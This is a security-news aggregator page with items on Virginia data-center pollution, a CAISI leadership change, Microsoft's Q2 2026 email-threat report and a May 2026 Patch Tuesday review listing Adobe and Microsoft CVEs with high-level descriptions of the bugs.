Team IT Security - 📰 Alle Kategorien

Did Virginia Regulators Downplay Data Center Health Concerns?

Sun, 26 Jul 2026 06:31:16 +0200

Politico reports that in the Virginia area alone there's dozens of data center projects "that altogether need 70 gigawatts of power — equivalent to 70 nuclear plants" — currently seeking connection to their grid. But there's also concerns about a Virginia data center powered with natural gas and backup diesel generators: When Virginia's top environmental regulator received an analysis warning of data center pollution, it took him less than five minutes to forward it to seven people on his staff... Internal emails obtained by POLITICO through a public records request paint a portrait of an agency that moved quickly to defend the only data center in Virginia that is powering itself — in what former officials and environmental health advocates described as an unusual effort to shape the debate around an industry whose global epicenter is in the state. The agency's pushback focused on the report's findings that the facility in Loudoun County could release harmful amounts of air pollution through eight bus-sized natural gas turbines — as allowed by permits granted by the Department of Environmental Quality [DEQ] itself... The request comes as data centers are devising new ways to produce their own power as a way to temper growing public discord over rising electricity prices amid the AI construction boom. Virginia has more than 600 data centers. The report [commissioned by Virginia's 54-year-old environmental nonprofit Piedmont Environmental Council] raised concerns that the data center's on-site power system, which also includes dozens of backup diesel generators, could cause tens of millions of dollars in health damages to people living around the facility, owned by Vantage Data Centers... [The analysis also argued the pollution could lead to 3.4 to 6.5 premature deaths annually.] People living near the Vantage facility in Sterling say its natural gas turbines produce constant noise and air pollution. The permits for Vantage issued by DEQ in 2023 allow cumulative emissions of seven different pollutants, including 95 tons per year of nitrogen oxides and more than 56 tons of soot. Both contribute to asthma and heart attacks. Those figures are in line with other state permits for minor sources of pollution, but DEQ's permits for Vantage have sparked local concerns because of the facility's location in a residential area... [Viriginia environmental quality officials] raised questions about whether the report wrongly described the facility's potential air pollution as dangerous, when soot levels in Loudoun County are deemed acceptable by America's Environmental Protection Agency (EPA). Health experts, including former EPA air quality official Michael Korber, told POLITICO that soot pollution can negatively affect human health even at EPA-approved levels. The World Health Organization's standard for ambient soot pollution is nearly half of what EPA suggests is safe. Some current and former staffers on Virginia's Department of Environmental Quality believe it's inappropriate for the agency to issue aggressive statements on the healthfulness of the data centers, with one former department leader saying Virginia's DEQ "is not the health department."

US AI testing institute chief steps down within three months

Sat, 25 Jul 2026 19:50:12 +0200

The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.

Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.

A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.

Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.

The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.

In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.

Continuity matters more than personalities

CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.

For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.

“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”

According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.

“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”

Enterprises still carry the burden of AI governance

Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.

“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”

He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.

“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.

Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.

“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”

With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.

Gogia said the successor’s mandate may prove more important than the individual selected.

“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.

Email threats changed after the Tycoon2FA take-down

Sat, 25 Jul 2026 19:50:06 +0200

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

How password managers can be hacked – and how to stay safe

Sat, 25 Jul 2026 19:04:58 +0200

Look no further to learn how cybercriminals could try to crack your vault and how you can keep your logins safe

Common Apple Pay scams, and how to stay safe

Sat, 25 Jul 2026 19:04:44 +0200

Here’s how the most common scams targeting Apple Pay users work and what you can do to stay one step ahead

Lessons for life: Why children’s data is a long-term identity risk

Sat, 25 Jul 2026 19:04:33 +0200

Your child’s first data breach may happen before they’ve even opened a bank account. Here’s how to keep their digital life safe.

The May 2026 Security Update Review

Sat, 25 Jul 2026 19:02:56 +0200

I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-49	Adobe Commerce	15	Critical	8.7	No	2
APSB26-48	Adobe After Effects	4	Critical	7.8	No	3
APSB26-50	Adobe Connect	2	Critical	9.6	No	3
APSB26-51	Adobe Illustrator	4	Critical	7.8	No	3
APSB26-47	Adobe Media Encoder	2	Critical	7.8	No	3
APSB26-46	Adobe Premiere Pro	3	Critical	7.8	No	3
APSB26-55	Adobe Substance 3D Painter	2	Critical	7.8	No	3
APSB26-54	Adobe Substance 3D Sampler	1	Critical	7.8	No	3
APSB26-53	Content Authenticity SDK	14	Critical	7.5	No	3
APSB26-52	Adobe Substance 3D Designer	5	Important	6.3	No	3
TOTAL	10 bulletins	52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

- CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

- CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

- CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

- CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-35435	Azure AI Foundry Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-35428	Azure Cloud Shell Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-42826	Azure DevOps Information Disclosure Vulnerability	Critical	10	No	No	Info
CVE-2026-32207	Azure Machine Learning Notebook Spoofing Vulnerability	Critical	8.8	No	No	Spoofing
CVE-2026-33109	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-33844	Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability	Critical	9	No	No	RCE
CVE-2026-41105	Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability	Critical	8.1	No	No	EoP
CVE-2026-33111	Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26129	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-26164	M365 Copilot Information Disclosure Vulnerability	Critical	7.5	No	No	Info
CVE-2026-33821	Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability	Critical	7.7	No	No	EoP
CVE-2026-42898	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Critical	9.9	No	No	RCE
CVE-2026-40379	Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability	Critical	9.3	No	No	Spoofing
CVE-2026-40363	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40358	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-34327	Microsoft Partner Center Spoofing Vulnerability	Critical	8.2	No	No	Spoofing
CVE-2026-40365	Microsoft SharePoint Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41103	Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability	Critical	9.1	No	No	EoP
CVE-2026-33823	Microsoft Team Events Portal Information Disclosure Vulnerability	Critical	9.6	No	No	Info
CVE-2026-40364	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40366	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40361	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-40367	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-42831	Office for Android Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-41096	Windows DNS Client Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-35421	Windows GDI Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-40403	Windows Graphics Component Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-40402	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-32161	Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability	Critical	7.5	No	No	RCE
CVE-2026-41089	Windows Netlogon Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-32175	.NET Core Tampering Vulnerability	Important	4.3	No	No	Tampering
CVE-2026-32177	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-35433	.NET Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2025-54518 *	AMD: CVE-2025-54518 CPU OP Cache Corruption	Important		No	No	RCE
CVE-2026-42899	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40381	Azure Connected Machine Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42823 †	Azure Logic Apps Elevation of Privilege Vulnerability	Important	9.9	No	No	EoP
CVE-2026-33833	Azure Machine Learning Notebook Spoofing Vulnerability	Important	8.2	No	No	Spoofing
CVE-2026-32204	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42830	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-33117	Azure SDK for Java Security Feature Bypass Vulnerability	Important	9.1	No	No	SFB
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-35424	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-41614	M365 Copilot for Desktop Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-41100	Microsoft 365 Copilot for Android Spoofing Vulnerability	Important	4.4	No	No	Spoofing
CVE-2026-40377	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-41094	Microsoft Data Formulator Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40417	Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42833	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Important	9.1	No	No	RCE
CVE-2026-42838	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	5.4	No	No	EoP
CVE-2026-40360	Microsoft Excel Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-40359	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-40362	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-42832	Microsoft Excel Spoofing Vulnerability	Important	7.7	No	No	Spoofing
CVE-2026-34329	Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40419	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40418	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35436	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-40420	Microsoft Office Click-To-Run Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-42893	Microsoft Outlook for iOS Tampering Vulnerability	Important	7.4	No	No	Tampering
CVE-2026-40374	Microsoft Power Automate Desktop Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41102	Microsoft PowerPoint for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35439	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40368	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33110	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-33112	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-40357	Microsoft SharePoint Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-32185	Microsoft Teams Spoofing Vulnerability	Important	5.5	No	No	Spoofing
CVE-2026-41101	Microsoft Word for Android Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-35440	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40421	Microsoft Word Information Disclosure Vulnerability	Important	4.3	No	No	Info
CVE-2026-41097	Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-40370 †	SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-41613	Visual Studio Code Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-41612	Visual Studio Code Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41611	Visual Studio Code Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-41610	Visual Studio Code Security Feature Bypass Vulnerability	Important	6.3	No	No	SFB
CVE-2026-33839	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33840	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34330	Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34331	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35423	Windows 11 Telnet Client Information Disclosure Vulnerability	Important	5.4	No	No	Info
CVE-2026-35438	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-41086	Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-34344	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34345	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35416	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41088	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34343	Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35418	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33835	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34337	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40407	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40397	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42896	Windows DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35419	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34336	Windows DWM Core Library Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-33834	Windows Event Logging Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32209	Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-33841	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-35420	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40369	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34332	Windows Kernel-Mode Driver Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-34339	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-34341	Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33838	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34342	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-41095	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34340	Windows Projected File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-40398	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21530	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32170	Windows Rich Text Edit Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-40410	Windows SMB Client Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35415	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34350	Windows Storport Miniport Driver Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-40405	Windows TCP/IP Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-40414	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-40401	Windows TCP/IP Denial of Service Vulnerability	Important	6.2	No	No	DoS
CVE-2026-40413	Windows TCP/IP Denial of Service Vulnerability	Important	7.4	No	No	DoS
CVE-2026-35422	Windows TCP/IP Driver Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-34351	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40399	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34334	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40406	Windows TCP/IP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-33837	Windows TCP/IP Local Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40415	Windows TCP/IP Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-42825	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34338	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40382	Windows Telephony Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-40380	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Important	6.2	No	No	RCE
CVE-2026-40408	Windows WAN ARP Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34333	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34347	Windows Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-35417	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-42891	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-35429	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-41107	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	7.4	No	No	Info
CVE-2026-40416	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

